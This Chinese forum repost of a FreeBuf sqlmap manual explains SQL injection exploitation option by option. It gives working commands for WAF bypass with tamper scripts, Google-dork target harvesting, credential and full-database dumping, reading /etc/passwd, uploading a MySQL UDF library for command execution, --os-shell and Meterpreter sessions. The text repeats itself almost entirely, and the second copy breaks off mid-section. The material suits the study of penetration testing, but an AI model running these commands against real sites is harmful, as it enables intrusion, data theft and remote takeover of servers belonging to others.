如果第一次用sqlmap扫不出来的话顶多会将参数改为-u "url" --risk3 --level3 //如果这次也测不出来的话我就会说在心里说一句sqlmap哪里强大了,同时也会感叹自己的知识储备太垃圾了



 而今天在freebuf社区中看到了一篇关于SQLMAP的深度解析,仔细看了看之后确实涨了姿势。
SQLMAP深度解析及使用手册
0X00 背景
写这篇技术文有两个诱因,一是大菲兄弟@大菲哥和朋友从国外买了一篇二十美刀的XSS文章,做了翻译,自古XSS和sql注入是倚天屠龙的对立统一关系,所以有朋友说想看一看sql注入的文章。

二是大概一年前一朋友对sqlmap的使用除了-u参数几乎一无所知,让我给做了个使用手册,刚好拿出来在此基础上进行完善和优化。
我本人是owasp北京分会的负责人,owasp的top10几乎一直是sql注入独揽第一,所以也想就这个机会把sql注入好好给大家聊一聊,本文也参考了众多前辈的经验,在这里向每个奉献、开源的前辈说一声感谢。

有些朋友说想让聊聊手工注入,首先我个人手工注入技巧不是很好,再者手工注入需要一定的技术积累和编程底子,受众有限,后期有机会再深入谈。我个人在渗透上的看法是工具是人类进步的象征,工具的使用绝对是自动化、智能化和量化不可或缺的内容,当然,工具毕竟是死的,好的安全人肯定是左手自动化右手人工。
0X01 SqlMap介绍及分析
SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令.sqlmap is anopen source penetration testing tool that automates the process of detectingand exploiting SQL injection flaws and taking over of database servers. Itcomes with a powerful detection engine, many niche features for the ultimatepenetration tester and a broad range of switches lasting from database fingerprinting,over data fetching from the database, to accessing the underlying file systemand executing commands on the operating system via out-of-band connections.(源于官方介绍)








SQLMAP支持的数据包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库。
SQLMAP目前支持的注入方式包括(默认全进行):l B: Boolean-based blind SQL injection(布尔型注入)

l E: Error-based SQL injection(报错型注入)

l U: UNION query SQL injection(可联合查询注入)

l S: Stacked queries SQL injection(可多语句查询注入)

l T: Time-based blind SQL injection(基于时间延迟注入)

l Q: Inline SQL Injection (内联注入)
SQLMAP 分析:
SQLMAP的功能模块参数由几大类构成(见下表),分别是:  





 
0X02 Sqlmap使用经验总结
以下参数在进行SQL注入时配置恰当会使得注入攻击事半功倍。以下是笔者对SQLmap 使用的经验总结:[size=20]1 [/size]在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。 例如:sqlmap -v3 -u www.potian.com
[size=20]2 [/size]当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。
例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER [size=20]3 [/size] 当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。
4 -g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表)当需要使用-g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用)
5 服务端允许的情况下,–method改变默认的http方法,和其他参数配合使用,例如–data,改变为post然后推送数据。
6 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,–user-agent= –random-agent这两个参数可对waf针对恶意ua的防控进行绕过。
7 指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type
8 HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据
9 设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般–timeout和–retries配合使用
10 有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
例子:–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。”
11 sqlmap默认测试所有的GET和POST参数,上文提到过,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如:-p “”id,cookie”"但是有个别参数不想测试的时候可以使用–skip=“user-agent”参数。
12 数值处理:参数:–invalid-bignum –invalid-logical这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b
参数:–prefix,–suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″”
13 –tamper可从tamper库里查找相关内容,使用–tamper tamper/*.py方式指定
14 上文多次解释–level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。
–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。
15 risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。
警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。
16 “sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(–string参数添加字符串,–regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(–not-string添加)。
用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,–code=200。
17 默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。
B:Boolean-based blind SQL injection(布尔型注入)
E:Error-based SQL injection(报错型注入)
U:UNION query SQL injection(可联合查询注入)
S:Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: Inline SQL Injection (内联注入)
当使用基于时间延迟注入的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间
18 –union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着–levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定–union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,–union-char指定UNION查询的字符。指定查询的表,配合上文暴力破解的字符、范围等来详细使用。
19 在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D\-T\-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 –exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。
当我们不想跑路的时候,那么请使用下面内容:
–start=LIMITSTART First query output entry to retrieve指定从第几行开始输出,如:
–start=1
–stop=LIMITSTOP
Last query output entry to retrieve
指定从第几行停止输出
–stop=10
–first=FIRSTCHAR
First query output word character to retrieve
指定从第几个字符开始输出
–first 1
–last=LASTCHAR
Last query output word character to retrieve
指定从第几个字符停止输出–last10
20 暴力检查:猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中
21 对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。针对文件系统的读写:对–file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过–file-dest指定绝对文件路径。” 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 –os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:
1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。
22 所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。
23 –batch
在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。
–output-dir=
指定输出路径,方式控制台输出过多,无法查看,也方便记录
–gpage=GOOGLEPAGE
好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面
–identify-waf
进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
–mobile
使用移动产品UA,把sqlmap伪装成手机,也可使用前面的
-user-agent
自己指定
–smart
智能深度启发式扫描,或许会有惊喜呢。
–wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。
 
 
0X03 Sqlmap实操语句
手工基本检测和判断(在注入点使用or、and等可判断是否有注入点)       
原始网页:http://www.potian.com/mysql/product/user_info.phpuid=1024 构造url1:http://www.potian.com/mysql/product/user_info.phpuid=1024+AND+1=1构造url2:http://www.potian.com/mysql/product/user_info.phpuid=1 024+AND+1=1025     
基础检测语法   sqlmap.py -u http://www.potian.com/mysql/product/user_info.php?uid=1 024
     
批量检测  “sqlmap.py -m target.txt” //注意target.txt跟sqlmap在同一个目录下。     
绕过WAF进行SQL注入     
修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 为:return match.group().replace(word, ”/*!50000%s*/” % word) 修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>为:<castquery=”convert(%s,CHAR)”/> 使用sqlmap进行注入测试sqlmap.py -u ”http://www.potian.com/detail.php id=16″ –tamper “halfversionedmorekeywords.py” 其它绕过waf脚本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.phpuid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 
tamper目录下文件具体含义:space2comment.py
用/**/代替空格
apostrophemask.py
用utf8代替引号
equaltolike.pylike
代替等号
space2dash.py
绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py
绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py
空格替换为#号,随机字符串以及换行符
apostrophenullencode.py
绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py
空格替换为#号
以及更多随机字符串
换行符
appendnullbyte.py
在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py
绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替换为其它空符号
base64encode.py
用base64编码替换
space2mssqlhash.py
替换空格
modsecurityversioned.py
过滤空格,包含完整的查询版本注释
space2mysqlblank.py
空格替换其它空白符号(mysql)
between.py
用between替换大于号(>)
space2mysqldash.py
替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py
围绕SQL关键字添加多个空格
space2plus.py
用+替换空格
bluecoat.py
代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py
双重查询语句,取代SQL关键字
space2randomblank.py
代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py
追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py
双url编码(不处理以编码的)
unionalltounion.py
替换UNION ALLSELECT UNION SELECT
charencode.py
url编码
randomcase.py
随机大小写
unmagicquotes.py
宽字符绕过
GPCaddslashes randomcomments.py
用/**/分割sql关键字
charunicodeencode.py
字符串unicode编码
securesphere.py
追加特制的字符串
versionedmorekeywords.py
注释绕过 space2comment.py
替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py
  
URL重写SQL注入测试   
value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/”列举并破解密码哈希值 当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1     获取表中的数据个数     sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb     站点爬取  sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3     注入时间预估(基于布尔)  sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta     使用hex避免字符编码导致数据丢失    sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors     模拟测试手机环境站点     python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile     智能判断测试     sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart     结合burpsuite进行注入  sqlmap.py -r burpsuite 抓包.txt     sqlmap 自动填写表单注入  sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 数据库名称–tables sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump                    读取linux下文件sqlmap.py-u “url” –file /etc/password     sqlmap cookies 注入  sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″  –dbs –level 3 sqlmap.py -u 注入点URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username,password –dump     连接mysql数据打开一个交互shell  sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir;     利用sqlmap上传lib_mysqludf_sys到MySQL插件目录  sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATEFUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’);     执行shell命令  sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/     延时注入  sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/     
0X04 结束语
Sql注入并不只是对数据库的攻击行为,在整个攻击链条涉及到对操作系统、注册表、系统文件、脚本、插件控件、数据、数据库相关等的覆盖,注入用的好,爱人回家早。
看得出这篇文章写得骚姿势非常非常的多,各种绕WAF,绕过。不过这些操作都最好需要自己实际操作并且经常使用才能够利用得更好~ 查看全部
在学习了基础的SQL注入原理之后便开始了SQL注入之路,比如写SQLi和一些CTF中的sql注入题。但是总能够发现自己的一些问题。比如闭合符通常找不到,有一些关键字都被过滤自己却无法GET到绕过的骚姿势,还有就是无论输入什么他都不会有任何反应等等一系列的问题。而在了解了sqlmap的强大的自动化之外,每次只是 
-u "url"

如果第一次用sqlmap扫不出来的话顶多会将参数改为
-u "url" --risk3 --level3 //如果这次也测不出来的话我就会说在心里说一句sqlmap哪里强大了,同时也会感叹自己的知识储备太垃圾了



 而今天在freebuf社区中看到了一篇关于SQLMAP的深度解析,仔细看了看之后确实涨了姿势。
SQLMAP深度解析及使用手册
0X00 背景
写这篇技术文有两个诱因,一是大菲兄弟@大菲哥和朋友从国外买了一篇二十美刀的XSS文章,做了翻译,自古XSS和sql注入是倚天屠龙的对立统一关系,所以有朋友说想看一看sql注入的文章。

二是大概一年前一朋友对sqlmap的使用除了-u参数几乎一无所知,让我给做了个使用手册,刚好拿出来在此基础上进行完善和优化。
我本人是owasp北京分会的负责人,owasp的top10几乎一直是sql注入独揽第一,所以也想就这个机会把sql注入好好给大家聊一聊,本文也参考了众多前辈的经验,在这里向每个奉献、开源的前辈说一声感谢。

有些朋友说想让聊聊手工注入,首先我个人手工注入技巧不是很好,再者手工注入需要一定的技术积累和编程底子,受众有限,后期有机会再深入谈。我个人在渗透上的看法是工具是人类进步的象征,工具的使用绝对是自动化、智能化和量化不可或缺的内容,当然,工具毕竟是死的,好的安全人肯定是左手自动化右手人工。

0X01 SqlMap介绍及分析
SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令.
sqlmap is anopen source penetration testing tool that automates the process of detectingand exploiting SQL injection flaws and taking over of database servers. Itcomes with a powerful detection engine, many niche features for the ultimatepenetration tester and a broad range of switches lasting from database fingerprinting,over data fetching from the database, to accessing the underlying file systemand executing commands on the operating system via out-of-band connections.(源于官方介绍)








SQLMAP支持的数据包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库。
SQLMAP目前支持的注入方式包括(默认全进行):
l   B: Boolean-based blind SQL injection(布尔型注入)

l E: Error-based SQL injection(报错型注入)

l U: UNION query SQL injection(可联合查询注入)

l S: Stacked queries SQL injection(可多语句查询注入)

l T: Time-based blind SQL injection(基于时间延迟注入)

l Q: Inline SQL Injection (内联注入)

SQLMAP 分析:
SQLMAP的功能模块参数由几大类构成(见下表),分别是:  

1.png

 
0X02 Sqlmap使用经验总结
以下参数在进行SQL注入时配置恰当会使得注入攻击事半功倍。以下是笔者对SQLmap 使用的经验总结:
[size=20]1  [/size]在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。 例如:sqlmap -v3 -u www.potian.com 
[size=20]2 [/size]当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。
例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER [size=20]3 [/size] 当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。
4 -g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表)当需要使用-g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用)
5 服务端允许的情况下,–method改变默认的http方法,和其他参数配合使用,例如–data,改变为post然后推送数据。
6 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,–user-agent= –random-agent这两个参数可对waf针对恶意ua的防控进行绕过。
7 指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type
8 HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据
9 设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般–timeout和–retries配合使用
10 有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
例子:–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。”
11 sqlmap默认测试所有的GET和POST参数,上文提到过,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如:-p “”id,cookie”"但是有个别参数不想测试的时候可以使用–skip=“user-agent”参数。
12 数值处理:参数:–invalid-bignum –invalid-logical这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b
参数:–prefix,–suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″”
13 –tamper可从tamper库里查找相关内容,使用–tamper tamper/*.py方式指定
14 上文多次解释–level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。
–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。
15 risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。
警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。
16 “sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(–string参数添加字符串,–regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(–not-string添加)。
用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,–code=200。
17 默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。
B:Boolean-based blind SQL injection(布尔型注入)
E:Error-based SQL injection(报错型注入)
U:UNION query SQL injection(可联合查询注入)
S:Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: Inline SQL Injection (内联注入)
当使用基于时间延迟注入的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间
18 –union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着–levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定–union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,–union-char指定UNION查询的字符。指定查询的表,配合上文暴力破解的字符、范围等来详细使用。
19 在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D\-T\-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 –exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。
当我们不想跑路的时候,那么请使用下面内容:
–start=LIMITSTART First query output entry to retrieve指定从第几行开始输出,如:
–start=1
–stop=LIMITSTOP
Last query output entry to retrieve
指定从第几行停止输出
–stop=10
–first=FIRSTCHAR
First query output word character to retrieve
指定从第几个字符开始输出
–first 1
–last=LASTCHAR
Last query output word character to retrieve
指定从第几个字符停止输出–last10
20 暴力检查:猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中
21 对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。针对文件系统的读写:对–file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过–file-dest指定绝对文件路径。” 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 –os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:
1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。
22 所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。
23 –batch
在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。
–output-dir=
指定输出路径,方式控制台输出过多,无法查看,也方便记录
–gpage=GOOGLEPAGE
好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面
–identify-waf
进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
–mobile
使用移动产品UA,把sqlmap伪装成手机,也可使用前面的
-user-agent
自己指定
–smart
智能深度启发式扫描,或许会有惊喜呢。
–wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。

 
 
0X03 Sqlmap实操语句
手工基本检测和判断(在注入点使用or、and等可判断是否有注入点)       
  1. 原始网页:http://www.potian.com/mysql/product/user_info.phpuid=1024 
  2. 构造url1:http://www.potian.com/mysql/product/user_info.phpuid=1024+AND+1=1
  3. 构造url2:http://www.potian.com/mysql/product/user_info.phpuid=1 024+AND+1=1025     

基础检测语法   
